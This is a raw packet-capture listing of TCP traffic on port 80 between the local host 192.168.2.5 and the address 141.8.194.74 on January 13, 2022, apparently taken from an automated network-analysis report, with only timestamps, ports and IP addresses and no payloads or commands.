Jan 13, 2022 20:51:23.179192066 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179192066 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179220915 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179248095 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179249048 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179369926 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179397106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179400921 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179425001 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179451942 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179454088 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179477930 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179505110 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179506063 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179533958 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179559946 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179586887 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179586887 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179615021 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179641008 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179641962 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179668903 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.179670095 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.179932117 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.181677103 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.181716919 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.181744099 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.181771040 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.181803942 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.181910038 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.199634075 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199675083 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199716091 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199754953 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199790955 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199862003 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199893951 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.199902058 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199942112 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.199971914 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.199982882 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.200021029 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.200047970 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.200062037 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.202003002 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.253951073 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.253994942 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254031897 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254074097 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254113913 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254152060 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254192114 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254230976 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254267931 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254307032 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254344940 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254383087 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254422903 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254462004 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254513025 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254606009 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254642963 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254683971 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254724026 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254761934 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254801035 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254841089 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254878998 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254918098 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254956007 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.254997015 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255037069 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255074978 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255127907 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255145073 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255183935 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255223036 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255259991 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255299091 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255337000 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255373955 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255412102 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255450964 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255496025 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255537033 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255573988 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255614996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255655050 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255692959 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255731106 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255769014 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255809069 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255848885 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255887032 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255925894 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.255964994 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256000996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256040096 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256077051 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256117105 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256156921 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256194115 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256232977 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256270885 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256306887 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256345034 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256385088 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256422997 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256462097 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256498098 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256537914 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256576061 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256613970 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256653070 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256690979 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256728888 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256772041 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256794930 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256827116 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256865978 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256905079 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256943941 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.256980896 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257011890 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257050037 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257088900 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257127047 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257164001 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257201910 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257239103 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257278919 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257309914 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257339001 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257378101 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257416010 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257455111 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257492065 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257529974 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257567883 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257605076 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257643938 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257683992 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257720947 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257759094 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257797003 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257833004 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257895947 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257935047 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.257971048 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.258086920 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258094072 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258120060 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258124113 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258394957 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258407116 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258451939 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.258455038 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.260009050 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.260021925 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.271956921 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272017956 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272058010 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272098064 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272133112 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272138119 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272172928 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272176981 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272218943 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272252083 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272258043 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272295952 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272334099 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272372961 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272406101 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272413015 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272443056 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272454977 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272516012 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272545099 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272556067 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272587061 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.272599936 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.272787094 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.273648977 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.273691893 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.273753881 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.273883104 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.333111048 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333142996 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333164930 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333185911 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333206892 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333228111 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333247900 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333261967 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.333268881 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333290100 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333312035 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333333015 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333354950 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333376884 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333395958 CET	80	49816	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.333411932 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.333496094 CET	49816	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344394922 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344432116 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344456911 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344477892 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344501019 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344523907 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344544888 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344548941 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344567060 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344568014 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344592094 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344613075 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344635963 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344655991 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344659090 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344660997 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344681025 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344702005 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344726086 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344752073 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344754934 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344755888 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344779015 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344800949 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344820976 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344821930 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344825983 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344842911 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344867945 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344892025 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344913006 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344921112 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344924927 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.344935894 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344958067 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.344978094 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345000982 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345005035 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345010042 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345024109 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345046997 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345069885 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345091105 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345113039 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345118046 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345123053 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345724106 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345750093 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345776081 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345803022 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345813036 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345815897 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345870972 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345895052 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.345983028 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.345990896 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.416955948 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.416990042 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417012930 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417035103 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417057991 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417079926 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417089939 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417104959 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417114019 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417136908 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417144060 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417162895 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417176008 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417186975 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417211056 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417232037 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417254925 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417258978 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417264938 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417278051 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417300940 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417323112 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417346001 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417351961 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417368889 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417391062 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417407990 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417411089 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417413950 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417434931 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417457104 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417480946 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417489052 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417505026 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417511940 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417530060 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417547941 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417553902 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417577982 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417599916 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417623043 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417645931 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417646885 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417653084 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417669058 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417692900 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417716026 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417716026 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417721033 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417738914 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417761087 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417771101 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417784929 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417809010 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417831898 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417864084 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417869091 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417870998 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417893887 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417915106 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417922974 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.417936087 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417958021 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417977095 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.417996883 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.418015957 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.418020010 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.418021917 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.418622017 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.489734888 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489775896 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489809990 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489844084 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489881039 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.489891052 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489907980 CET	49823	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:23.489936113 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.489972115 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490005016 CET	80	49823	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:23.490025997 CET	49823	80	192.168.2.5	141.8.194.74
